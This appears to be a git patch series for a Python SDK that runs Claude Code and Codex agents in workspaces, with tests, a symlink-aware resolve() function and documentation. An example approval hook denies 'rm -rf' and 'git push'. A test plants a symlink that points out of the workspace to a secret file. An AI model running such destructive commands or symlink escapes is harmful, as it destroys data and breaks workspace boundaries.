+from afk import state as st +from afk.rows import CONTINUE, Row -from ai.harnesses.experimental import SessionInfo +from ai.harnesses.experimental import Handle, SessionInfo from ai.harnesses.experimental.errors import HarnessError from ai.types.messages import Message, TextPart, ToolCallPart +from ai.workspaces.experimental import WorkspaceCoords, tty if TYPE_CHECKING: from pathlib import Path @@ -263,3 +267,193 @@ async def test_peek_piped_draws_no_status_line( ) out = capsys.readouterr().out assert "following" not in out and "\x1b" not in out + + +PUSHED = [Message(role="user", parts=[TextPart(text=CONTINUE)])] +DONE = [*PUSHED, Message(role="assistant", parts=[TextPart(text="Done.")])] +WORKING = [ + *PUSHED, + Message( + role="assistant", + parts=[ + ToolCallPart(tool_call_id="c1", tool_name="Bash", tool_args="{}") + ], + ), +] + + +class _Sandbox: + """The pushed one's sandbox: no ptys yet, and a process that ends when + asked to.""" + + def __init__(self, pid: int | None) -> None: + self.alive = pid is not None + self.ran: list[list[str]] = [] + + async def __aenter__(self) -> _Sandbox: + return self + + async def __aexit__(self, *exc: object) -> None: + pass + + async def ptys(self) -> list[Any]: + return [] + + async def exec(self, argv: list[str], timeout: float) -> Any: + self.ran.append(argv) + if argv[:2] == ["kill", "-TERM"]: + self.alive = False + return SimpleNamespace(exit_code=0 if self.alive else 1) + + +class _Remote: + """The harness in that sandbox: the conversation, still held by the + unattended agent until its process ends.""" + + def __init__(self, ws: _Sandbox, messages: list[Message], pid: int | None): + self.ws = ws + self.messages = messages + self.pid = pid + self.opened: list[tuple[str, str]] = [] + + async def open(self) -> None: + pass + + async def close(self) -> None: + pass + + async def detach(self) -> None: + pass + + async def sessions(self) -> list[SessionInfo]: + return [ + SessionInfo( + kind="claude-code", + session_id="1495ffff", + running=self.ws.alive, + pid=self.pid, + ) + ] + + async def history(self, session_id: str) -> list[Message]: + return self.messages + + async def tui(self, session_id: str, *, name: str) -> Any: + assert not self.ws.alive, "the TUI must not overlap the agent" + self.opened.append((session_id, name)) + return SimpleNamespace(pty=SimpleNamespace(name=name)) + + +def _pushed_bg( + monkeypatch: pytest.MonkeyPatch, messages: list[Message], pid: int | None +) -> tuple[Row, _Sandbox, _Remote]: + handle = Handle( + kind="claude-code", + session_id="1495ffff", + workspace=WorkspaceCoords(provider="vercel-sandbox", location="lime"), + ) + st.save( + st.State( + remotes=[ + st.Remote( + label="tests", + origin="/proj", + sandbox="lime", + mode="bg", + handle=handle, + pushed_at=st.now(), + ) + ] + ) + ) + ws = _Sandbox(pid) + agent = _Remote(ws, messages, pid) + monkeypatch.setattr(verbs, "VercelSandbox", lambda **kw: ws) + monkeypatch.setitem( + rows.HARNESSES, "claude-code", lambda *, workspace: agent + ) + + async def detached(pty: Any) -> None: + return None + + monkeypatch.setattr(tty, "bridge", detached) + row = Row( + where="remote", + kind="claude-code", + session_id="1495ffff", + status="finished", + label="tests", + sandbox="lime", + handle=handle, + mode="bg", + ) + return row, ws, agent + + +def _never(prompt: str) -> str: + raise AssertionError(f"asked {prompt!r}") + + +@pytest.mark.parametrize( + ("messages", "pid", "answer", "ended"), + [ + # finished: it only waits for a next turn; ended without a question + (DONE, 4242, _never, [["kill", "-TERM", "4242"]]), + # mid-turn: ended after a yes + (WORKING, 4242, lambda prompt: "y", [["kill", "-TERM", "4242"]]), + # its process already gone: nothing to end + (WORKING, None, _never, []), + ], +) +async def test_attach_opens_an_unattended_one_in_the_tui( + monkeypatch: pytest.MonkeyPatch, + messages: list[Message], + pid: int | None, + answer: Any, + ended: list[list[str]], +) -> None: + row, ws, agent = _pushed_bg(monkeypatch, messages, pid) + await verbs.attach(row, None, ask=answer) + assert [a for a in ws.ran if a[:2] == ["kill", "-TERM"]] == ended + # The same conversation, under a pty the next attach reconnects to. + assert agent.opened == [("1495ffff", "afk-tests")] + (record,) = st.load().remotes + assert (record.mode, record.pty) == ("tui", "afk-tests") + + +async def test_attach_leaves_one_mid_turn_working_on_a_no( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + row, ws, agent = _pushed_bg(monkeypatch, WORKING, 4242) + asked: list[str] = [] + + def no(prompt: str) -> str: + asked.append(prompt) + return "" + + await verbs.attach(row, None, ask=no) + assert asked == [ + "afk: tests is still working; attaching ends its turn there, and you " + "go on from where it stopped. go ahead? [y/N] " + ] + assert ws.alive and not agent.opened + assert st.load().remotes[0].mode == "bg" + assert capsys.readouterr().out == ( + "afk: left tests working; `afk peek tests` to watch\n" + ) + + +async def test_attach_says_when_the_agent_will_not_exit( + monkeypatch: pytest.MonkeyPatch, +) -> None: + row, ws, agent = _pushed_bg(monkeypatch, DONE, 4242) + + async def ignores_term(argv: list[str], timeout: float) -> Any: + ws.ran.append(argv) + return SimpleNamespace(exit_code=0) + + monkeypatch.setattr(ws, "exec", ignores_term) + monkeypatch.setattr(verbs, "STOP_WAIT", 0.1) + with pytest.raises(HarnessError, match=r"did not exit within 0\.1s"): + await verbs.attach(row, None) + assert not agent.opened From 6e8b734ba02b1dff96a367892a6e2b9f28168a67 Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 08:27:03 -0700 Subject: [PATCH 19/37] workspaces: resolve() for real paths; a sandbox spawn no longer races its stdin `workspace.resolve(path)` returns the real path a path names on the workspace's machine: relative to the workspace, symlinks followed, `..` folded, as far as it exists. `contains()` judges spelling only, so a symlink inside the workspace that points out of it looked inside; an approval hook now checks `contains(await resolve(path))`. One command on any workspace; `Local` resolves directly. VercelSandbox.spawn() returned as soon as the supervisor shell was started, before it ran `mkfifo`, so the first write could start the stdin pump first and its open() failed: an intermittent "the sandbox input conduit exited before it was ready". The pump now waits for the FIFO. When the FIFO is gone because the program itself already exited (its supervisor removes it), the error now says so, with the program's exit code and stderr, instead of blaming python3 in the image. That is what named a fork failing with "No conversation found" in the e2e matrix. --- .../content/docs/reference/workspaces.mdx | 6 +- src/ai/workspaces/experimental/_base.py | 31 +++++++++- src/ai/workspaces/experimental/_local.py | 4 ++ src/ai/workspaces/experimental/_sandbox.py | 32 +++++++++- tests/workspaces/experimental/test_resolve.py | 59 +++++++++++++++++++ tests/workspaces/experimental/test_sandbox.py | 39 ++++++++++++ 6 files changed, 168 insertions(+), 3 deletions(-) create mode 100644 tests/workspaces/experimental/test_resolve.py diff --git a/docs/ai-python/content/docs/reference/workspaces.mdx b/docs/ai-python/content/docs/reference/workspaces.mdx index 846cf2b3..18a672be 100644 --- a/docs/ai-python/content/docs/reference/workspaces.mdx +++ b/docs/ai-python/content/docs/reference/workspaces.mdx @@ -138,7 +138,11 @@ Methods: keeps its state there, under `~/.ai-python/` (session locks, named ptys). - `await reachable_url(port)`: A URL the agent can reach for a port. - `contains(candidate)`: Whether an absolute path is inside `path`. Pure-path - check; relative paths return `False`. + check; relative paths return `False`. A symlink inside that points out + still looks inside: pair it with `resolve()`. +- `await resolve(path)`: The real path `path` names on the workspace's + machine: relative to `path`, symlinks followed, `..` folded. A path that + does not exist yet resolves as far as it exists. - `injects_credentials_for(host)`: Whether requests to `host` get the credential at egress. - `workspace / "path"`: Build a `WorkspacePath`. diff --git a/src/ai/workspaces/experimental/_base.py b/src/ai/workspaces/experimental/_base.py index 22c5a77d..ab0da4ec 100644 --- a/src/ai/workspaces/experimental/_base.py +++ b/src/ai/workspaces/experimental/_base.py @@ -28,7 +28,7 @@ from pydantic import BaseModel -from . import _gateway, _gitignore, _pty +from . import _gateway, _gitignore, _pty, errors if TYPE_CHECKING: from collections.abc import Iterator, Mapping, Sequence @@ -109,6 +109,12 @@ def copy_tree( return count +_REALPATH = ( + "import os, sys\n" + "print(os.path.realpath(os.path.join(sys.argv[1], sys.argv[2])))\n" +) + + @dataclass(frozen=True) class WorkspacePath: """A path, and the workspace it lives in. @@ -387,8 +393,31 @@ async def reachable_url(self, port: int) -> str: """ def contains(self, candidate: str) -> bool: + """Whether an absolute path is inside the workspace, by its spelling. + + Pure-path: no filesystem access, so a symlink inside the workspace + that points out of it still looks inside. Where that matters (an + approval hook), check `contains(await resolve(path))`. + """ return contains(self.path, candidate) + async def resolve(self, path: str) -> str: + """Return the real path `path` names, on the workspace's machine. + + Relative to the workspace, symlinks followed, `..` folded. A path + that does not exist yet (a file about to be written) resolves as far + as it exists. One command in the workspace. + """ + result = await self.exec( + ["python3", "-c", _REALPATH, self.path, path], timeout=30 + ) + if result.exit_code != 0: + raise errors.WorkspaceError( + f"could not resolve {path!r} in the workspace: " + + (result.stderr.strip()[-300:] or f"exit {result.exit_code}") + ) + return result.stdout.strip() + def __truediv__(self, path: str) -> WorkspacePath: return WorkspacePath(self, path) diff --git a/src/ai/workspaces/experimental/_local.py b/src/ai/workspaces/experimental/_local.py index 9dcff022..a37a7a64 100644 --- a/src/ai/workspaces/experimental/_local.py +++ b/src/ai/workspaces/experimental/_local.py @@ -224,6 +224,10 @@ async def _copy_out( async def exists(self, path: str) -> bool: return await asyncio.to_thread(self._resolve(path).exists) + async def resolve(self, path: str) -> str: + joined = os.path.join(self.path, path) + return str(await asyncio.to_thread(os.path.realpath, joined)) + async def home(self) -> str: return str(Path.home()) diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py index 6afd41f4..0429b44b 100644 --- a/src/ai/workspaces/experimental/_sandbox.py +++ b/src/ai/workspaces/experimental/_sandbox.py @@ -68,8 +68,16 @@ # the terminal yet and be lost. Measured — it fails roughly every time # without an arbitrary sleep after the marker. Here the process that will # do the copying is the one that says it is ready. +# +# The pump also WAITS for the FIFO: `spawn()` returns as soon as the +# supervisor shell is started, before it has run `mkfifo`, so the first +# write can get here first. Measured: an intermittent FileNotFoundError on +# `open()`, surfacing as "the input conduit exited before it was ready". _PUMP = ( - "import os, sys\n" + "import os, sys, time\n" + "end = time.monotonic() + 10\n" + "while not os.path.exists(sys.argv[1]) and time.monotonic() < end:\n" + " time.sleep(0.02)\n" "fd = os.open(sys.argv[1], os.O_WRONLY)\n" # The marker arrives as an ARGUMENT, never as a literal in this source. # Embedded, a SyntaxError traceback would echo the line containing it @@ -270,6 +278,15 @@ async def _await_ready(self) -> None: # the first write then failed as a bare # ClosedResourceError that named nothing. said = seen.decode(errors="replace").strip() + # The FIFO also vanishes when the PROGRAM has + # already ended: its supervisor removes it. Then + # the program's own exit and stderr are the news. + ended = await self._ended_note() + if ended: + raise errors_.WorkspaceError( + f"the program exited before it read its " + f"input: {ended}" + ) from None raise errors_.WorkspaceError( "the sandbox input conduit exited before it was " f"ready ({said or 'no output'}); it runs python3 " @@ -281,6 +298,19 @@ async def _await_ready(self) -> None: "the sandbox input conduit never became ready" ) from exc + async def _ended_note(self) -> str: + """Describe how the program ended, or "" if it is still running.""" + try: + async with asyncio.timeout(2): + code = await self.wait() + except Exception: + return "" + tail = "" + with contextlib.suppress(Exception): + async with asyncio.timeout(2): + tail = (await self.read_stderr()).strip()[-800:] + return f"exit code {code}; stderr: {tail or '(empty)'}" + @property def id(self) -> str: """The sandbox-side process id — what a later client re-attaches to.""" diff --git a/tests/workspaces/experimental/test_resolve.py b/tests/workspaces/experimental/test_resolve.py new file mode 100644 index 00000000..cbea2887 --- /dev/null +++ b/tests/workspaces/experimental/test_resolve.py @@ -0,0 +1,59 @@ +"""`workspace.resolve()`: the real path a path names, symlinks followed. + +`contains()` is pure-path on purpose and cannot see a symlink; an approval +hook that must not be fooled by one resolves first. +""" + +from __future__ import annotations + +import os +from pathlib import Path +from typing import Any + +import pytest + +from ai.workspaces.experimental import Local +from ai.workspaces.experimental._base import Workspace + + +@pytest.fixture +def tree(tmp_path: Path) -> Path: + root = tmp_path / "project" + (root / "src").mkdir(parents=True) + (root / "src" / "a.py").write_text("x = 1\n") + outside = tmp_path / "secret.txt" + outside.write_text("no\n") + os.symlink(outside, root / "innocent.txt") + os.symlink(tmp_path, root / "up") + return root + + +class ViaExec(Local): + """`Local`, but resolving the way a remote workspace does: one command.""" + + async def resolve(self, path: str) -> str: + return await Workspace.resolve(self, path) + + +@pytest.mark.parametrize("kind", [Local, ViaExec]) +async def test_resolve_follows_symlinks_out_of_the_workspace( + tree: Path, kind: Any +) -> None: + async with kind(tree) as ws: + link = f"{ws.path}/innocent.txt" + assert ws.contains(link), "pure-path: a symlink looks inside" + real = await ws.resolve(link) + assert not ws.contains(real), "resolved: it is not" + assert not ws.contains(await ws.resolve(f"{ws.path}/up/secret.txt")) + + +@pytest.mark.parametrize("kind", [Local, ViaExec]) +async def test_resolve_keeps_real_paths_and_relative_ones_are_the_workspaces( + tree: Path, kind: Any +) -> None: + async with kind(tree) as ws: + assert await ws.resolve(f"{ws.path}/src/a.py") == f"{ws.path}/src/a.py" + assert await ws.resolve("src/a.py") == f"{ws.path}/src/a.py" + missing = await ws.resolve("src/new.py") # a file about to be written + assert missing == f"{ws.path}/src/new.py" + assert ws.contains(missing) diff --git a/tests/workspaces/experimental/test_sandbox.py b/tests/workspaces/experimental/test_sandbox.py index 2b6aec35..ba2f09d7 100644 --- a/tests/workspaces/experimental/test_sandbox.py +++ b/tests/workspaces/experimental/test_sandbox.py @@ -200,3 +200,42 @@ async def open_interactive(*_args: Any) -> AsyncIterator[Any]: process = SandboxProcess(cast("Any", None), cast("Any", sandbox), "/f") with pytest.raises(WorkspaceError, match=r"python3: not found\).*python3"): await process.write("x") + + +async def test_the_conduit_waits_for_a_fifo_the_supervisor_has_not_made_yet( + tmp_path: Any, +) -> None: + """`spawn()` returns before the supervisor shell has run `mkfifo`, so the + first write can start the pump first. Measured in a sandbox: the pump's + `open()` raised FileNotFoundError and a fork failed with "the sandbox + input conduit exited before it was ready". The pump waits for it.""" + import asyncio + import os + import sys + + from ai.workspaces.experimental import _sandbox + + fifo = str(tmp_path / "late.in") + pump = await asyncio.create_subprocess_exec( + sys.executable, + "-c", + _sandbox._PUMP, + fifo, + "READY", + stdin=asyncio.subprocess.PIPE, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + await asyncio.sleep(0.3) # the supervisor is slow to start + os.mkfifo(fifo) + reader = os.open(fifo, os.O_RDONLY | os.O_NONBLOCK) + assert pump.stdout is not None and pump.stdin is not None + line = await asyncio.wait_for(pump.stdout.readline(), 5) + assert line == b"READY\n" + pump.stdin.write(b"hello") + await pump.stdin.drain() + pump.stdin.close() + await asyncio.wait_for(pump.wait(), 5) + os.set_blocking(reader, True) + assert os.read(reader, 100) == b"hello" + os.close(reader) From a14bc0467242322a73cb5b33c038557cc5dd97fb Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 08:33:38 -0700 Subject: [PATCH 20/37] harnesses: turns settle right from any task; codex approvals stop blocking; files and options in prompts Fixes found reviewing the harness SDK, each with an offline test written failing first (tests/harnesses/experimental/fakes.py: a scripted adapter, workspace and app-server) and checked against both real CLIs. Turns - History reads in order: each tool call in an assistant message, then its result, then the answer. It used to be [user, tool, assistant], so `history=result.messages` from a tool turn was malformed. Built per segment, mid-turn too, which is what an approval hook sees. - `session.stop()` works from any task (a Stop button) and returns once the turn has settled; it raised "aclose(): asynchronous generator is already running" whenever the consumer was waiting for an event. - `break` out of a stream, a deadline or a cancelled task now stops the CLI's turn too. Before, its leftovers became the next turn's answer. - A steer sent after the agent has finished is refused: claude took it as a turn of its own and every later answer was one behind (measured). Codex - Server requests are answered off the JSON-RPC reader. `Deny(stop=True)` went from 33s to 3.3s on a real codex (its interrupt waited for a reply only the blocked reader could read), and a slow approval no longer freezes every session's events or a hook that calls back into the harness. - Full access by default everywhere (`sandbox="danger-full-access"`), like claude without a hook. Resume and fork apply the harness's sandbox, approval policy, model and instructions too, not the thread's old ones. State - One writer per conversation, for real: the session lock is one helper command doing a flock'd check-and-set, built in a temp dir and renamed into place, with a token per holder for claim and release. Two clients reclaiming a stale lock could both win before (reproduced by a forced interleaving). A process we may not signal counts as alive; a reused pid does not. - Pending errors and approval errors belong to their session, not to the adapter or harness; a closed session is forgotten. Approval - Claude's hook runs as a PreToolUse hook and sees every call, reads included (measured), so it claims `approval="all"`. Codex stays "policy". Prompts and options - A prompt is a str or a list of str, TextPart and FilePart: images on both, PDFs on claude, text files on both as text. Anything else raises UnsupportedError before the turn. URLs are downloaded here (claude drops an image given by URL without a word; a sandbox may not reach it). Files stay in history and travel in a handoff where the receiver takes them. - `instructions` and `mcp_servers` on both; `tools`, `disallowed_tools` and `max_turns` on claude. codex accepts those three and raises when one is set, so every claude_code() argument is a codex() argument: swapping is one word and `{"claude-code": claude_code, "codex": codex}` keeps its type (it became a dict of bare `function` to mypy otherwise). A Handle never stores mcp_servers. CLIs - A sandbox runs the latest CLI: installed when missing, upgraded when npm has a newer one (the image ships claude 2.1.283), never while a copy is running there, never on your own machine. Each adapter records the version it was verified with; an older CLI warns, and every turn error carries the CLI version as a note. Sandbox round trips and a fork race - Finding running sessions and listing claude's stored conversations cost a round trip per session; each is now at most two commands. - A fork in a sandbox could fail with "No conversation found": its transcript, written in place and stamped 1970 by the file API, was swept as ancient by a claude CLI already running there before the touch that dated it. It is written aside, dated, and renamed into place. Verified: full e2e matrix, both harnesses, on Local and in Vercel Sandbox. --- .../content/docs/basics/harnesses.mdx | 122 +++- .../content/docs/basics/workspaces.mdx | 4 +- .../content/docs/reference/harnesses.mdx | 58 +- examples/harnesses/handoff.py | 4 +- examples/harnesses/tool_approval.py | 22 +- skills/ai/references/harnesses.md | 40 +- .../harnesses/experimental/_adapters/base.py | 50 +- .../experimental/_adapters/claude.py | 563 ++++++++++++------ .../experimental/_adapters/claude_store.py | 128 ++-- .../harnesses/experimental/_adapters/codex.py | 213 ++++--- .../experimental/_adapters/jsonrpc.py | 53 +- .../harnesses/experimental/_capabilities.py | 19 +- src/ai/harnesses/experimental/_factories.py | 93 ++- src/ai/harnesses/experimental/_handoff.py | 68 +++ src/ai/harnesses/experimental/_harness.py | 47 +- src/ai/harnesses/experimental/_input.py | 95 +++ src/ai/harnesses/experimental/_session.py | 307 +++++++--- .../harnesses/experimental/_session_lock.py | 296 ++++++--- tests/harnesses/experimental/conftest.py | 27 +- .../experimental/e2e/test_approval.py | 57 +- .../experimental/e2e/test_capabilities.py | 29 +- .../experimental/e2e/test_control.py | 85 ++- .../experimental/e2e/test_handoff.py | 62 +- .../experimental/e2e/test_history.py | 57 ++ .../harnesses/experimental/e2e/test_input.py | 61 ++ .../experimental/e2e/test_options.py | 76 +++ tests/harnesses/experimental/e2e/test_run.py | 31 +- tests/harnesses/experimental/fakes.py | 342 +++++++++++ tests/harnesses/experimental/media.py | 84 +++ .../experimental/test_claude_adapter.py | 117 ++++ .../experimental/test_codex_adapter.py | 189 ++++++ tests/harnesses/experimental/test_input.py | 111 ++++ tests/harnesses/experimental/test_jsonrpc.py | 144 +++++ tests/harnesses/experimental/test_options.py | 136 +++++ .../harnesses/experimental/test_provision.py | 101 ++++ tests/harnesses/experimental/test_session.py | 485 +++++++++++++++ .../experimental/test_session_lock.py | 167 +++++- 37 files changed, 3912 insertions(+), 631 deletions(-) create mode 100644 src/ai/harnesses/experimental/_input.py create mode 100644 tests/harnesses/experimental/e2e/test_input.py create mode 100644 tests/harnesses/experimental/e2e/test_options.py create mode 100644 tests/harnesses/experimental/fakes.py create mode 100644 tests/harnesses/experimental/media.py create mode 100644 tests/harnesses/experimental/test_claude_adapter.py create mode 100644 tests/harnesses/experimental/test_codex_adapter.py create mode 100644 tests/harnesses/experimental/test_input.py create mode 100644 tests/harnesses/experimental/test_jsonrpc.py create mode 100644 tests/harnesses/experimental/test_options.py create mode 100644 tests/harnesses/experimental/test_provision.py create mode 100644 tests/harnesses/experimental/test_session.py diff --git a/docs/ai-python/content/docs/basics/harnesses.mdx b/docs/ai-python/content/docs/basics/harnesses.mdx index 8bb0005f..64746797 100644 --- a/docs/ai-python/content/docs/basics/harnesses.mdx +++ b/docs/ai-python/content/docs/basics/harnesses.mdx @@ -51,16 +51,25 @@ agent = harnesses.codex(workspace=workspaces.Local("."), effort="high") | `effort` | `"low"`, `"medium"`, `"high"`, or `"max"`. | `None`: the CLI's default | | `gateway` | Upstream model provider LLM Gateway. See [Workspaces](/docs/basics/workspaces#reach-a-model-through-ai-gateway). | `None`: the workspace's gateway | | `executable` | CLI name or path. | `"claude"` or `"codex"` | +| `instructions` | Text added to the CLI's own system prompt, for every turn. | `None` | +| `mcp_servers` | MCP servers to connect: `{"name": {"command": ..., "args": [...], "env": {...}}}`, or `{"name": {"url": ...}}` for a remote one. | `None` | Each harness adds its own arguments; see [Harnesses](#harnesses). +Every harness runs with full access by default: it may run any command and +edit any file the workspace lets it. Nobody is at a terminal to answer a +permission prompt, so there is no narrower default to fall back on. Restrict +it with an [approval hook](#approve-tool-calls), with each harness's own +options below, or by running it in a +[Vercel Sandbox](/docs/basics/workspaces#vercel-sandbox). + `run()` returns a `Result`: | Field | Description | |---|---| | `text` | The agent's final message, after its last tool call. | | `finish_reason` | `"stop"`, `"cancelled"`, or `"length"` (Claude Code hit its turn limit). | -| `messages` | The conversation so far, as `ai.messages.Message` values. | +| `messages` | The conversation so far, as `ai.messages.Message` values, in order: each tool call, then its result. | | `usage` | Token usage. | | `output` | The validated value when you pass `output_type`. | | `prompt_sent` | Exactly what the agent received. | @@ -72,6 +81,17 @@ A missing extra raises `ai.errors.InstallationError` when you call the factory. A missing CLI raises `ExecutableMissingError` when the harness opens. +Each harness was verified against one CLI version: `claude` 2.1.289 and +`codex` 0.160.1. An older CLI warns when the harness opens. A harness error +carries the CLI version in its notes, so a failure on a newer CLI says so. + +On your own machine the SDK uses whatever CLI you installed and never +installs or updates one. In a [Vercel Sandbox](/docs/basics/workspaces#vercel-sandbox) +it installs the latest release from npm when the harness opens, and +upgrades an older one, so a sandbox always runs the newest CLI. It does +not upgrade while a copy of the CLI is running there, such as an agent you +detached from and came back to. + ### Claude Code `harnesses.claude_code()` drives the `claude` CLI through @@ -81,7 +101,13 @@ opens. uv add "ai[claude-code]" ``` -It takes only the [shared arguments](#run-a-prompt). +It takes the [shared arguments](#run-a-prompt), plus: + +| Argument | Description | Default | +|---|---|---| +| `tools` | The built-in tools the agent has, such as `["Read", "Grep"]`. `[]` for none. | `None`: all of them | +| `disallowed_tools` | Tools taken away, such as `["Bash"]`. | `None` | +| `max_turns` | Most agent steps in one turn. A turn that hits it settles with `finish_reason="length"`. | `None`: no cap | - Tool names are Claude Code's own, such as `Bash`, `Write`, and `Edit`. - `result.usage.raw["cost_usd"]` reports the turn's cost. @@ -95,11 +121,15 @@ It takes the [shared arguments](#run-a-prompt), plus: | Argument | Description | Default | |---|---|---| -| `sandbox` | Codex's own sandbox mode: `"read-only"`, `"workspace-write"`, or `"danger-full-access"`. | `"read-only"` on `Local`, `"danger-full-access"` in a sandbox | -| `config` | Codex `-c` config overrides. Wins over values derived from `gateway` and `effort`, key by key. | `None` | - -- In `"read-only"` mode Codex declines writes. Pass - `sandbox="workspace-write"` when it must edit files. +| `sandbox` | Codex's own sandbox mode: `"read-only"`, `"workspace-write"`, or `"danger-full-access"`. | `"danger-full-access"` | +| `config` | Codex `-c` config overrides. Wins over values derived from `gateway`, `effort`, and `mcp_servers`, key by key. | `None` | + +- On `Local`, pass `sandbox="read-only"` or `"workspace-write"` to restrict + Codex with its own sandbox. In `"read-only"` mode it declines writes. +- `instructions` become Codex's developer instructions. +- `codex()` also accepts Claude Code's `tools`, `disallowed_tools`, and + `max_turns`, so swapping the two factories stays a one-word edit, but + raises `UnsupportedError` when one is set: Codex has no equivalent. - In a Vercel Sandbox, leave `sandbox` unset. Codex's own sandbox cannot start inside the VM, so any other mode raises `UnsupportedError` when the harness opens. @@ -121,6 +151,33 @@ result = await session.run("Which function is the slowest?") The CLI creates the conversation on the first turn, so `session.session_id` is empty until then. Read `session.handle` after a turn, not before. +## Send files + +A prompt is a string, or a list of strings and parts. Add images, PDFs, or +text files as `FilePart`s: + +```python +import ai + +result = await session.run( + ["What is wrong in this screenshot?", ai.file_part(png_bytes)] +) +``` + +| File | Claude Code | Codex | +|---|---|---| +| Images (`image/*`) | yes | yes | +| PDFs (`application/pdf`) | yes | no | +| Text files (`text/*`) | yes, as text | yes, as text | + +- A file the harness cannot take raises `UnsupportedError` when you call + `run()` or `stream()`, before anything runs. Check + `agent.capabilities.images` and `agent.capabilities.documents`. +- A file given as a URL is downloaded on your machine and sent as data, so + it works in a sandbox whose outbound traffic is locked down. +- The file stays in the conversation: `result.messages` and `history()` + hold it as a `FilePart`. + ## Stream events `session.stream()` returns a `Turn`. Iterate it for events, then read @@ -162,23 +219,37 @@ async for event in turn: before the turn ends. The steer is added to the transcript as a user message. - `stop()` ends the turn. It settles as `finish_reason == "cancelled"`, keeps - what was streamed, and the session stays usable. + what was streamed, and the session stays usable. Call it from the loop + body or from another task, such as a Stop button. It returns once the + turn has settled, so `turn.result` is ready right after. - `run(..., timeout=seconds)` stops the turn at the deadline and returns a cancelled `Result`. It does not raise, except with `output_type` (see [Structured output](#structured-output)). -A bare `break` leaves the turn running. The next `session.run()` settles it. -Call `await session.reclaim()` before another `session.stream()`. +A bare `break` ends the turn too: the agent is stopped, and the turn +settles as cancelled with what was streamed. The next `run()` or `stream()` +starts cleanly. Only one turn runs at a time; a second `run()` from another +task waits for the first. ## Approve tool calls Pass `approve=` to decide which tool calls run: ```python +SHELL = {"Bash", "commandExecution"} # Claude Code's and Codex's shell tools + + async def approve(ctx: harnesses.ApprovalContext) -> harnesses.Decision: - target = ctx.call.input.get("file_path", "") - if target and not ctx.workspace.contains(target): - return harnesses.Deny("stay inside the workspace") + if ctx.call.name in SHELL: + command = str(ctx.call.input.get("command", "")) + if "git push" in command or "rm -rf" in command: + return harnesses.Deny("not that command") + return harnesses.Allow() + target = ctx.call.input.get("file_path") + if target: + real = await ctx.workspace.resolve(target) # follows symlinks + if not ctx.workspace.contains(real): + return harnesses.Deny("stay inside the workspace") return harnesses.Allow() @@ -216,9 +287,14 @@ It returns a decision: `UnsupportedError` from the turn. - A hook that raises or runs past `approval_timeout` denies the call. The failure is listed in `result.approval_errors`. -- The hook is a gate, not an audit log. The CLI decides which calls to ask - about, and read-only tools never reach it. Read the event stream to see - every call. +- On Claude Code every tool call reaches the hook, reads included. On + Codex the CLI's policy decides which calls to ask about; shell commands + and file changes do. See `approval` in [Capabilities](#capabilities). +- A shell command is a string the agent wrote. Matching on it, as above, is + a speed bump, not isolation. For isolation, run the harness in a + [Vercel Sandbox](/docs/basics/workspaces#vercel-sandbox). +- `workspace.contains(path)` checks the spelling of a path only. Use + `contains(await workspace.resolve(path))` so a symlink cannot lead out. ## Capabilities @@ -235,11 +311,12 @@ the one exception is `deny_reason`, whose absence only drops the reason. | `resume` | Continue a conversation this process did not create: `resume()`, `harness_from()`. | yes | yes | | `fork` | Branch a conversation into a new one with the same past: `fork()`. | yes | yes | | `history` | Read stored transcripts in full, tool calls included: `history()`, `sessions()`. | yes | yes | -| `images` | The CLI accepts image input. `run()` and `stream()` send text only today. | yes | yes | +| `images` | Images in a prompt. See [Send files](#send-files). | yes | yes | +| `documents` | PDFs in a prompt. | yes | no | | `rewrite_tool_input` | Rewrite a call's arguments before it runs: `Allow(input={...})`. | yes | no | | `deny_reason` | The reason in `Deny(reason)` reaches the agent. Without it the call is still denied, but the reason is dropped. | yes | no | | `remember_decisions` | Keep an approval for the rest of the session: `Allow(remember=True)`. | no | no | -| `approval` | Which tool calls reach the hook. `"policy"`: the CLI's own policy decides, so not every call does. | `"policy"` | `"policy"` | +| `approval` | Which tool calls reach the hook. `"all"`: every call, reads included. `"policy"`: the CLI's own policy decides, so not every call may. | `"all"` | `"policy"` | ## Resume and fork @@ -255,8 +332,8 @@ async with harnesses.harness_from(handle, approve=approve) as session: ``` A handle holds the harness kind, the CLI's own session id, the workspace, and -the options. It never holds a hook or a key, so pass `approve=` and `gateway=` -again. The SDK keeps no registry of conversations. Store handles in your own +the options. It never holds a hook, a key, or MCP servers (their `env` often +holds tokens), so pass `approve=`, `gateway=`, and `mcp_servers=` again. The SDK keeps no registry of conversations. Store handles in your own database. A harness can also read its CLI's store, including conversations a person @@ -269,6 +346,11 @@ branch = await agent.fork(infos[0].session_id) same = await agent.resume(infos[0].session_id) ``` +- `resume()` and `fork()` return a `Session` whose `messages` already hold + the past. Run or stream on it exactly as on a new session; the new turns + follow that past. +- `history(session_id, limit=, offset=)` pages through a stored + conversation. `limit` and `offset` count the messages it returns. - `fork()` starts a new conversation with the same past. The original is never written. - `resume()` continues the original. Only one client may write a diff --git a/docs/ai-python/content/docs/basics/workspaces.mdx b/docs/ai-python/content/docs/basics/workspaces.mdx index ab346e26..cf77fab8 100644 --- a/docs/ai-python/content/docs/basics/workspaces.mdx +++ b/docs/ai-python/content/docs/basics/workspaces.mdx @@ -50,7 +50,9 @@ async with workspaces.VercelSandbox(gateway=gateway) as sandbox: await workspaces.copy(sandbox / "project", "./out") ``` -- The SDK installs the CLI into the sandbox, which is yours to provision. +- The SDK installs the latest release of the CLI into the sandbox when a + harness opens, and upgrades an older one, unless a copy of it is running + there. See [Harnesses](/docs/basics/harnesses#harnesses). - The VM is the isolation boundary, so Codex runs there with full access. See [Codex](/docs/basics/harnesses#codex). - A harness opens its workspace but never closes it. Open the sandbox with diff --git a/docs/ai-python/content/docs/reference/harnesses.mdx b/docs/ai-python/content/docs/reference/harnesses.mdx index 9982779d..74e419fd 100644 --- a/docs/ai-python/content/docs/reference/harnesses.mdx +++ b/docs/ai-python/content/docs/reference/harnesses.mdx @@ -32,6 +32,11 @@ Each factory returns a `Harness`. They share these arguments: | `gateway` | Upstream model provider LLM Gateway, as a `Gateway`. Overrides the workspace's gateway. | `None`: the workspace's gateway | | `effort` | `"low"`, `"medium"`, `"high"`, or `"max"`. | `None`: the CLI's default | | `executable` | CLI name or path. | `"claude"` or `"codex"` | +| 